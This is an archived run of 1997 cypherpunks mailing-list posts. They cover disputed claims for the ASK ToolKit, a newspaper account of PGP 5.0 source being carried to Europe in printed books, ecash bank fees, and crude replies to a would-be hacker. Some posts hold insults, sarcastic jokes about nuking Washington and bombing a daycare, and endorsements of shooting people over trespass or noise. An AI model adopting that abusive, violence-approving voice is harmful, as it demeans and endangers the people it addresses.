moving them around outside of an application.  That never needs to happen in
an application using a symmetric system.  The ASK ToolKit can be used in a
Public-Private system, but that's a waste.

We are not blindly implying that applications using the ASK ToolKit are
unbreakable.  However, the toolkit provides the means for intrusion
detection and prevention.  We know of no method this simple that does that.

The toolkit provides a number of bells and whistles to allow the developer
of an appliction using it to do many things like change keys as often as
wanted -- even every bit (not practical) or re-synchronize (which is
different from re-initializing).  It also allows the last session
information to either be stored in encrypted form on the machine or removed
to a portable medium.

The ToolKit does not provide the initial strong authentication needed to
start the process off.  There are many very good methods for doing this, so
why should we bother.  These range from formal encrypted methods like
Diffie-Hellman to simple things like telephone calls, distributing floppy
disks to users, filling out online applications where the other side already
has critical information about the user, etc.   One thing that these shared
secret methods have going for them is that they can occur spontaneously --
random in time.
That is one of the best means of security.

The use of a shared secret with an application containing the ASK ToolKit is
only necessary once for initialization.  After the first Master Recovery Key
(which can be thrown away immediately), there is no relationship to the
shared secret and therefore the shared secret needn't remain secret.

Short of real clairvoyance, there is no method of determining to 100%
certainty that someone is who they say they are.  All methods suffer from
this first-time syndrome.  It's what comes next that is important.  Even
that first CA needs to be authenticated.  The ToolKit just cuts out the
subsequent CA fetching process which for large systems of users who need to
communicate often (more than once) can be overwhelming.

The claims we make are not so much for the ToolKit itself but for the
applications that we envision can be developed given the ingenuity of the
developer.    We invite everyone who has a genuine interest in possibly
using the ToolKit,
and who is not just tossing flame about, to contact us with their questions.
If you are a responsible consultant or represent a responsible organization
and can sign an NDA, then we would be glad to fill in the details.

Myron Lewis
President
KeyGen Corporation
The Key to Secure Communications(TM)











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 30 Aug 1997 00:52:12 +0800
To: cypherpunks@toad.com
Subject: Re: Krispin Preaches Revolution!
In-Reply-To: <03534be19006e0aa4949847a944e6017@anon.efga.org>
Message-ID: <19970829093945.49609@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 29, 1997 at 11:19:32AM -0400, Anonymous wrote:
> Kent Crispin wrote:
> > On Thu, Aug 28, 1997 at 06:17:09PM -0500, snow wrote:
> > >       Well, the current system stinks, but enough people are buffalo'd into
> > > thinking that it works, so it is doubtful that it will get better.
>  
> > People are not "buffalo'd" -- they are happy with a system that gives
> > them a good life.  Therefore, it has to get worse before it gets
> > better.
> 
>   I am happy that Kent has finally realized the need to Monkey Wrench
> the "system" to the point where enough citizens get off of their too-
> comfortable asses and address the issues which are leading to an
> increasing number of their fellow citizens being persecuted and fucked
> over by the government.

I have known since I was a grasshopper that people trying to effect
change have a vested interest in making current reality look bad. 
People entrenched in the power structure, on the other hand, have a
vested interest in making current reality look good.  

This is an interesting competition for observers, bystanders, and
citizens.  If the power structure is flexible, and incorporates
changes that are viewed favorably by the citizens, then the power 
structure "wins".  But so do the citizens.

When change doesn't happen, or especially when it goes in a direction
undesired by the revolutionaries, but liked by the citizens, the
effort to make current reality look bad intensifies.  When change
irrevocably passes to an unwanted state, and the revolutionaries
"lose", a residue of Bitter Old Revolutionary Extremists (BOREs)
results.  These toothless old tigers, clinging to their youthful
dreams, rage at a reality that passed them by.  Snarling and
perpetually misunderstood, they wither and waste away, Cheshire cat
evil grimace postcripts to history. 

> {Now that we've got Peter Trei forging posts and Kent Crispin is ready
>  to nuke D.C., how long can it be before we convince Blanc to bomb a
>  daycare center?}

I can't speak for Peter or Blanc.  I have no desire to nuke anyone.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 21:54:37 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE D.O.A.
Message-ID: <86c020053c190c0235375da206be6384@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> 29 August 1997, C4I News:
> A key member of the House National Security Committee (HNSC) said
> that a bill loosening export controls on U.S. encryption technology
> is "dead on arrival." HNSC has until September 12 to issue
> recommendations on the bill.
> 
> "I'm not going to support something being ramrodded down our throats,"
> Rep.Curt Weldon said in a recent telephone interview.

Rep. Weldon,
  I exported strong encryption today.
  Why? Because "I'm not going to support something being ramrodded
down (my) throat."
  
Fuck You,
RamrodMonger
{Don't you hate it when the 'hired hands' start getting uppity?}







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 30 Aug 1997 01:05:17 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: p.s. -- Re: ASK ToolKit Clarifications
In-Reply-To: <3.0.2.32.19970829091223.0072c1bc@netcom10.netcom.com>
Message-ID: <199708291654.JAA12979@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green writes:
> 
> At 07:50 AM 8/29/97 -0600, Myron Lewis wrote:
> >Myron Lewis wrote: 
> >> I know that the claims we make for the ASK ToolKit(TM) sound a little too
> >> good to be true.  In fact, someone I have been talking to for a while about
> >> other subjects and who I thought respected my views told me that "If it
> >> sounds too good to be true, it probably is-- too good to be true. "
> >
> >I forgot to mention...it can also be used to break PGP encryption.
> 
> When making such strong claims, it would behoove the author to provide an
> example.

Check the headers.  The one you're replying to was a forgery.

> Until such time, the ASK toolkit will be justly regarded as snakeoil.

>From the description, it sounds like a fancy API for a PRNG.
Not snakeoil, but not all that useful either.

-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 30 Aug 1997 01:08:46 +0800
To: cypherpunks@Algebra.COM
Subject: Phranking and Cryptomography
In-Reply-To: <19970829122024.21123.qmail@nym.alias.net>
Message-ID: <v03102800b02cafe12692@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:20 AM -0700 8/29/97, Feanor wrote:
>On Aug 28, 22:22, Alexis wrote:
>} Subject: hello
>> hello,
>>
>> Can anybody teach me the abc's on Hacking, Cracking, Phranking,
>> Cryptomography, I know that to be a good hacker you have to know all,
>> but speciallize on one.  Or do any of you are in the LA area that
>> willing to teach me face to face.
>
>Boy, you're a fucking loser.
>
>Hacking = expert/geeky computer usage.
>Cracking = breaking into computer systams.
>Phranking = some stupid fucking word you made up.
>Cryptomography = some other stupid fucking word you made up.

Actually, these last two words are well-established, at least in some
circles of hackers. "Phranking" is a combination of "Phrack" and
"franking," and is the hacking of digital postage systems.

"Cryptomography" is a chiefly British term, and refers to the combination
of cryptography, chromatography, and mammography. The intended meaning
should be clear from this. (Hint: think of disappearing writing and getting
your tits in a wringer.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 29 Aug 1997 22:57:04 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: need confirmation of DVD/CSS crack in China ...
In-Reply-To: <3.0.2.32.19970828224436.0075c17c@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970829100820.03621278@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:40 AM 8/29/97 -0700, Tim May wrote:

>The way it was done with DAT (Digital Audio Tape), the product similar to
>DVD in so many ways, was to restrict the availability of DAT recorders
>which could faithfully record the output of other DAT machines. The SCMS
>system, or "Serial Copy Management System," has been in all consumer-grade
>DAT machines.

The DVD folks have also divided the world up into regions that use a 
different DVD standard (China is one all by itself) and they hope to minimize 
international copying.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNAbX0IVO4r4sgSPhAQEkXQQAjGoLGjPtYSKvPHy1vVhKa25A+MD6SW6F
qOHr5QHSHi73XgCNe200WEMBAlE1yFVF+cfNs2ivALojEASt4PMLKzMcWB1o9dH0
i//AEf0JpVjdpJetSjunOsiwfGoE0eA45vVgYVoP3tWATtQmSoE1X/1rm2gnS30P
L7TyFRbxUuw=
=/gcK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Fri, 29 Aug 1997 08:38:54 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Hey
In-Reply-To: <3405F0ED.5D84@toad.com>
Message-ID: <Pine.SOL.3.91.970829102245.2832A-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 28 Aug 1997, Cypherpunks wrote:

> XwitTDis96@aol.com wrote:

The aol idiots are a joke right ?? Someone keeps faking the address ??

Or are aol'ers this stupid ??

> > 
> > SUBCRIBE-ME
> 
> NO-WAY
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 30 Aug 1997 01:36:20 +0800
To: cypherpunks@Algebra.COM
Subject: Goodlatte: Internet challenge to sovereignity
Message-ID: <3.0.2.32.19970829102755.0072c184@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>From a post to FC:

>At the computer in a Roanoke County library on Tuesday, Goodlatte searched
>the World Wide Web for casino home pages to bolster his point. Several dozen
>popped up.
>
>"This is a $200-million-a-year business that could grow to $1 billion in
>the next
>few years," he said. "The Internet is a challenge to the sovereignty of
>civilized
>states and nations to decide what is appropriate and decent behavior."

Oh really? What a pitty. :-)




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 29 Aug 1997 16:55:04 +0800
To: Feanor <cypherpunks@toad.com
Subject: Re: ncash? (was Re: pgp details)
In-Reply-To: <19970829020009.7246.qmail@nym.alias.net>
Message-ID: <3.0.3.32.19970829104801.009a21b0@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Feanor wrote:
>There might be other reasons for this:  have you looked at their _fees_???
>Holy crap!  That's the only reason I don't have an account.  They're charging
>top dollar for every aspect of a system that has it's only overhead in
minimal
>amounts of CPU time.

A lot of MTB's overhead is probably paper work. It's a US "know your
customer" bank.

Why ain't any offshore banks doing ecash?

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 29 Aug 1997 23:22:24 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto best book
In-Reply-To: <Pine.LNX.3.96.970828000656.21159E-100000@bureau42.ml.org>
Message-ID: <Pce8Be1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"David E. Smith" <dave@bureau42.ml.org> writes:

> >           What is the best book about cryptography ?
>
> Although "best" is certainly subjective, Nine out of Ten Cypherpunks (TM)
> recommend Bruce Schneier's "Applied Cryptography."
>
> http://www.counterpane.com/applied.html

Bruce did a lousy job on this book.

If his is the first or the only book you read on the subject of
cryptography, your knowledge base will be seriously deficient.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 30 Aug 1997 00:26:15 +0800
To: cypherpunks@cyberpass.net
Subject: Encryption: yet another reason
Message-ID: <Chameleon.872867645.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain




Yet another reason why we need ubiquitous strong encryption...


>From The Wall Street Journal

Law: News Concern Denies Allegations It Spied On Pager Messages

NEW YORK -- Breaking News Network of Fort Lee, N.J., denied
prosecutors' allegations that it illegally intercepted sensitive
pager messages intended for New York City officials. 

Carl Rowan Jr., an attorney for the company, said the concern will
fight the charges, announced Wednesday by Mary Jo White, Manhattan's
U.S. attorney. Mr. Rowan said the company believes two former
volunteers fabricated information that led to the prosecutors'
charges. 

Breaking News said it uses a network of volunteers to listen to
police scanners and other public radio traffic. The company then
distributes information, such as the locations of fire and police
activity, to news organizations paying for the service. 

"The company is absolutely outraged at how it has been treated and
believes that what is really involved here is an
effort to intimidate and embarrass a news-gathering organization,"
Mr. Rowan said. 

According to a complaint unsealed this week, Breaking News and people
affiliated with the company allegedly used tracking software and a
"cloned" police pager to illegally tap into alphanumeric messages
sent to high-ranking police, fire-department and city officials.



------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/29/97
Time: 11:12:34
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 23:45:48 +0800
To: cypherpunks@toad.com
Subject: Krispin Preaches Revolution!
Message-ID: <03534be19006e0aa4949847a944e6017@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> On Thu, Aug 28, 1997 at 06:17:09PM -0500, snow wrote:
> >       Well, the current system stinks, but enough people are buffalo'd into
> > thinking that it works, so it is doubtful that it will get better.
 
> People are not "buffalo'd" -- they are happy with a system that gives
> them a good life.  Therefore, it has to get worse before it gets
> better.

  I am happy that Kent has finally realized the need to Monkey Wrench
the "system" to the point where enough citizens get off of their too-
comfortable asses and address the issues which are leading to an
increasing number of their fellow citizens being persecuted and fucked
over by the government.

"Then they came for the fat-asses, and I was a fat-ass, but nobody 
spoke up."
        -Roseanne

"If you want to keep people from claiming they're Jesus, you have to
break a few eggs."
        -Janet Reno/Pontius Pilate

  Now that Kent has realized, like McVeigh, that "it has to get worse 
before it gets better," perhaps he is ready to break the Big Egg.
  I'll be more than happy to chip in to fill Kent's private plane with
fuel, and Peter Trei is at the airport, right now, stripping the
identifying numbers off of Kent's aircraft. (Ever since he started
forging posts to the list, Peter's gotten really radical.)

TruthMonger
{Now that we've got Peter Trei forging posts and Kent Crispin is ready
 to nuke D.C., how long can it be before we convince Blanc to bomb a
 daycare center?}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 29 Aug 1997 23:30:35 +0800
To: cypherpunks@toad.com
Subject: Re: hello
Message-ID: <199708291518.IAA14303@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Date:          Fri, 29 Aug 1997 07:19:07 -0600
> From:          TruthMonger <tm@dev.null>


[someone wrote]
> Can anybody teach me the abc's on Hacking, Cracking, Phranking,
> Cryptomography, I know that to be a good hacker you have to know all,
> but speciallize on one.  Or do any of you are in the LA area that
> willing to teach me face to face.

I usually ignore people whose clue meter reads in the negative, 
(hint: cypherpunks want people to have *better* security, 
not less), but there's a long standing tradition on cpunks of 
being creative with other people's typos.

Lets see:

"Phranking" This seems to draw from the word 'franking' which is
related to snail mail cancellation, and 'phreaking' which is a
contraction of 'phone freaking', refering to stealing phone
service. Therefore, 'phranking' must mean the art of faking stamps
and postal cancellations in an effort to steal postal service. I
don't think anyone on this list can help you. Ask again after the
PO introduces it's 2D barcoded stamps, when the privacy implications
may spark some interest (btw, I spotted something very much like this 
on a UPS package last night).

'Cryptomography' seems to draw from 'crypto', meaning 'secret'
and 'tomography' the art of making crossectional images 
(tomography is the T in CAT scan). Therefore, 'cryptomography' is
the art of making secret crossectional images. I think the query 
should have been directed to the people who make airport luggage 
scanners, or some very weird subset of voyeurs, not us.

Peter Trei
trei@process.com

aka 'Etymologymonger'




Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 29 Aug 1997 23:26:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <199708291518.IAA23272@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



> Date:          Thu, 28 Aug 1997 18:17:09 -0500 (CDT)
> From:          snow <snow@smoke.suba.com>
> To:            John Smith <jsmith58@hotmail.com>
> Cc:            cypherpunks@cyberpass.net
> Subject:       Re: Socio-Economic Cults (Re: Cypherpunk Cults)
> Reply-to:      snow <snow@smoke.suba.com>

> On Tue, 26 Aug 1997, John Smith wrote:
"Snow" wrote:
>On Tue, 26 Aug 1997, John Smith wrote:
> > "William H. Geiger III" <whgiii@amaranth.com>:
> > >>You stole from me.
> > >>*BANG*
> > >>You raped my sister
> > >>*BANG*
> > >or threaten me or my family you have committed suicide.
> > >It is a quite simple and effective philosophy: 
> > >"You fuck with me, my family, or my property you die. You leave me alone
> > >and I leave you alone."
> > >Even someone like you can understand such a philosophy.
> > Well, I can't.  It's very confusing.  Are there judges in your
> > philosophy, or do you just decide for yourself who to shoot?
> > "You walked on my property."  BANG.
> 
> 	Works for me. You post no trespassing, I have no excuse. 
> 
> > "Your music kept me awake all night."  BANG.
> 
> 	Well, turn the shit down. 
> 
> > "I warned you to cut that tree down, and now it fell on my house."
> > BANG.
> 
> 	If the warning was issued, then *BANG*. 


"We, your neighbours, have decided that you're too f*cking 
trigger-happy. So we're solving the problem. Permanently."
                        BANG!

-------------

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 29 Aug 1997 18:06:47 +0800
To: platypus@acmeonline.net
Subject: Re: ncash? (was Re: pgp details)
In-Reply-To: <3.0.3.32.19970829104801.009a21b0@localhost>
Message-ID: <3.0.3.32.19970829115849.009b92f0@localhost>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} wrote:
>There is IIRC an australian bank doing ecash.

Sure, but Oz is onshore. An offshore bank is one that offers their services
primarily to foreigners, and it is usually located in a tax haven.

As far as I know, Mark Twain is the only bank in the known universe that
accepts foreign ecash customers, and their client software is the only one
that can lose your money. Chaum really has his priorities upside down.

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jack Holt <jholt@intrcom.com>
Date: Sat, 30 Aug 1997 01:09:59 +0800
To: <cypherpunks@toad.com>
Subject: Greetings,
Message-ID: <199708291718.MAA01461@gatekeeper.intrcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello, I would like some information about offshore banking and opening a
checking account. Thank you. Jack Holt 1004 Lakewood St. Ozark,Mo. 65721
U.S.A.
Phone no. 417-485-7038 email jholt@intrcom.com    I am interested in a
checking
account.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Fri, 29 Aug 1997 20:29:38 +0800
To: demara@geocities.com>
Subject: Re: hello
Message-ID: <19970829122024.21123.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



On Aug 28, 22:22, Alexis wrote:
} Subject: hello
> hello,
> 
> Can anybody teach me the abc's on Hacking, Cracking, Phranking, 
> Cryptomography, I know that to be a good hacker you have to know all, 
> but speciallize on one.  Or do any of you are in the LA area that 
> willing to teach me face to face. 

Boy, you're a fucking loser.

Hacking = expert/geeky computer usage.
Cracking = breaking into computer systams.
Phranking = some stupid fucking word you made up.
Cryptomography = some other stupid fucking word you made up.

So, you use 4 major terms, get two of them wrong, and can't use basic grammar.
Even if I know the first thing about cracking (which I don't), I would never
teach you that or anything else in a million years because you are obviously too
stupid to be worth wasting my time on.

Hell, you're even too stupid to troll well, if that's what this is...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 29 Aug 1997 18:36:09 +0800
To: cypherpunks@toad.com
Subject: DigiCash issuers
Message-ID: <199708291027.MAA28896@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




Feanor wrote:
>There might be other reasons for this:  have you looked at their _fees_???
>Holy crap!  That's the only reason I don't have an account.  They're charging
>top dollar for every aspect of a system that has it's only overhead in
minimal
>amounts of CPU time.


You might be a bit behind the times on this issue.  Recently 
MTB announced new lower fees: http://www.marktwain.com/fee.html

Are these the ones you consider excessive?


Note that if you consider the new fees to be reasonable, then 
you are now obliged to open account as per your publically 
posted exclamation quoted above.  :-)


Also check out Advance Bank in Australia:

http://www.advance.com.au/ecash/intro/fees/default.htm



I anticipate continually cheaper ecash fees as banks start to 
compete for selective, price-conscious customers like Feanor 
here.  :-)



Regards,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 30 Aug 1997 00:39:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Le Monde: "Militant Cypherpunks liberate crypto software"
In-Reply-To: <3.0.2.32.19970827001900.00698280@netcom10.netcom.com>
Message-ID: <6505af8dd17ad60b22f26d149298cf73@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



  The "cypherpunks" liberate PGP

Yves Eudes

 ENCRYPTION. At the occasion of Hacking in Progress 97, the large
 congress of information pirates which has been taking place in Almere
 (Netherlands), a group of militant hackers has imported the latest
 version of the PGP encryption software to europe, evading the
 restrictive measures of the American goverment.

PHILIP Zimmermann, author of the celebrated encryption software Pretty
Good Privacy (PGP) has once more defied the American authorities who
have been preventing him from exporting his program for years for
reasons of national security (see "Monde Télévision-Radio-Multimédia",
17-18 March 1996). Since 11 August, the new version (5.0) of PGP is
freely available in Europe, thanks to the ruse of a team of
Euro-American "cypherpunks" (1), militants devoted to the defense of
the secrecy of the mails on the Internet.

A few weeks ago, the US goverment authorised a limited distribution of
PGP to the foreign brances of American companies (Le Monde of 4-7-97):
a theoretical desision, since the different versions of PGP are
already circulating in the whole world, more or less legally.

Be that as it may, the militant cypherpunks do not care about these
half measures for commercial purposes, coming after years of legal
harrassment. To once more show the futility of the restrictions, they
have decided to distribute PGP in Europe, this time legally, thanks to
a legal trick.

In fact, even if the exportation in electronic form (Internet or
CD-ROM) remains subject to control, a federal judge has recently
decided that software source code, when printed in a book, may be
freely circulated, including outside the United States.

Thus, the militants' trick consisted of printing the source code of
PGP 5.0 in the United States, which took up twelve gross volumes, and
then proceeding to Europe, carrying the books in their
suitcases. There, eighty volunteers in several teams mainly based in
Norway and the Netherlands, have skimmed through all of it, then
scanned it page by page before finally re-creating an electronic
version of the source code and then reconstructing the software.

This exhausting work was achieved on Monday 11 August at four in the
morning by a small group of militants piled up in a camping tent in
the wood of Alemre, near Amsterdam, where HIP 97 (Hacking in
Progress), the largest congress of information pirates ever organized
in Europe, had been taking place for three days in open air. In spite
of the late hour, the news of the installation of PGP on a European
server (suitated in Norway) was saluted by an ovation that made the
wood tremble, a deluge of music, bonfires, and carrying on the
libations that had begun late in the evening. Then the news was
distributed on the Internet by some one thousand computers at HIP 97
placed in the grass.

The new PGP is equipped with a graphical interface very easy to use
even by bedinners. Versions for Windows 95 and MacIntosh, integrable
to the most current electronic mail software, will soon be brought to
circulation. Philip Zimmermann also takes the credit for creating a
general dictionary, open to all, of the "global community of PGP
users".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Sat, 30 Aug 1997 01:10:24 +0800
To: "'Myron Lewis'" <coderpunks@toad.com>
Subject: RE: ASK ToolKit Clarifications
Message-ID: <01BCB47B.90764B60.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



For my comments on snakeoil see:

http://crecy.ai.mit.edu/snakeoil/
Follow the navigation bars through 'key distribution" to "Monkey Wrench"


Despite the hype KeyGen does not "throw a monkey wrench" into anything.
It is unfortunately nothing particularly new. It is simply an example of the
type of technique that is commonly used in conjunction with a public key
system to keep keying material fresh while avoiding additional public key
exchanges.


>Unfortunately, I cannot talk about those things that are being patented, but
>maybe in the near future.

I hope you are not about to claim a patent on the use of one way hash 
functions to create keying material. I have prior art on that dating back to 
1993 and I wasn't the first to discover it by a very long chalk. I suspect that
the internals of Photuris probably contains most of the KeyGen proposal.


>The keys are both random and unpredictable -- meaning that you will not be
>able to deduce what the next key is even if you have any key that was used
>in the past.   The system does not depend on the secrecy of internal
>algorithms for security.

What about hard coded internal parameters?

If you can avoid the need for an initial insecure exchange your magic box
means you don't need the synchronisation technique at all.


>We are not blindly implying that applications using the ASK ToolKit are
>unbreakable.  However, the toolkit provides the means for intrusion
>detection and prevention.  We know of no method this simple that does that.

I know of many, the problem is that most of them arn't much good.

The only exceptionaly simple schemes I know are Diffie Helleman and 
RSA. D-H is certainly simple. It is astonishingly simple in fact and much
easier to explain to someone than MD5 or SHA.


>The toolkit provides a number of bells and whistles to allow the developer
>of an appliction using it to do many things like change keys as often as
>wanted -- even every bit (not practical) or re-synchronize (which is
>different from re-initializing).  It also allows the last session
>information to either be stored in encrypted form on the machine or removed
>to a portable medium.

OK how about the symmetric key exchange system from Shen? You already
have exchanged a private key S beteeen the parties (e.g. used public key
or you have a password established). You don't want to exchange the password
over the wire en-clair of course. Nor do you wish to use the shared secret as 
the encryption key over long periods of time.

One option is for party Alice to chose a random session mask M and send Bob M,
The session key is then K = M XOR S. If the encryption system used is secure 
both parties can use the derrived session key without problems.

A better solution however is for Alice to chose a random token R and send
Hash (K, R), R to Bob. She can also use the XOR mask trick as well to 
decouple key exchange and session key choice. This is a massive advantage
if the text you want to exchange has already been encrypted. i.e. we
calculate M = K XOR S rather than chosing M at random.

>The ToolKit does not provide the initial strong authentication needed to
>start the process off.  There are many very good methods for doing this, so
>why should we bother.

BECAUSE YOU GREAT PUDDING HEAD THAT IS THE ONLY HARD PART.

Techniques to keep symmetric key material fresh indefinitely have been
known for years. Kerberos is full of them. So incidentaly is Windows NT
which happens to have a lot of similar ideas at least with respect to
authentication. The GSSAPI probably has the same stuff burried inside
it somewhere.

>The claims we make are not so much for the ToolKit itself but for the
>applications that we envision can be developed given the ingenuity of the
>developer.    We invite everyone who has a genuine interest in possibly
>using the ToolKit,
>and who is not just tossing flame about, to contact us with their questions.
>If you are a responsible consultant or represent a responsible organization
>and can sign an NDA, then we would be glad to fill in the details.

This is the whole big problem. Most people I know who are interested in
security worry about the competence of their security expert. So the obvious
thing to do is to hire another security expert to audit their work. That is not
possible if there are NDAs. Signing an NDA to not reveal source code is
one thing, signing one to not use a mechanism is quite another. The 
capabilities you describe can be easily performed using conventional
techniques.

The only case in which NDAs normally come up in security work is when
actual source code is being exchanged. Even then the norm is for the 
provider of the security toolkit to be providing their their trade secret source
to the purchaser rather than this happening the other way round.

As for licensing terms that relate to the utility of the functionality rather than
the cost of doing the work these tend to be limited to cases where the
selling party has an established product of known quality protected by 
credible patents. Jim Bizdos meets these criteria, you do not.
 

		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 30 Aug 1997 02:32:55 +0800
To: cypherpunks@toad.com
Subject: Re: Shrinks as Narcs for the State
In-Reply-To: <367844640a2083debfe1106e30cb1a81@anon.efga.org>
Message-ID: <v0311077eb02cb3414411@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:27 am -0400 on 8/29/97, Anonymous wrote:



>   We are not asking you to do anything illegal, only to prioritize
> your legally sworn duties in a manner which could prove to be very
> mutually beneficial for both law enforcement and private enterprise.

Haiku, that last sentence was. Excising the 'very mutually', might help in
the rewrite, though...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EHaile@aol.com
Date: Sat, 30 Aug 1997 02:00:44 +0800
To: cypherpunks@toad.com
Subject: info
Message-ID: <970829135135_-267190676@emout06.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Please send more details...thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 30 Aug 1997 02:30:28 +0800
To: cypherpunks@toad.com
Subject: Snuffle Availability
Message-ID: <1.5.4.32.19970829180857.00e5ebd8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dan Bernstein's 1990 version of Snuffle posted to sci.crypt 
remains available:

   ftp://coast.cs.purdue.edu/pub/tools/unix/snuffle.shar






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
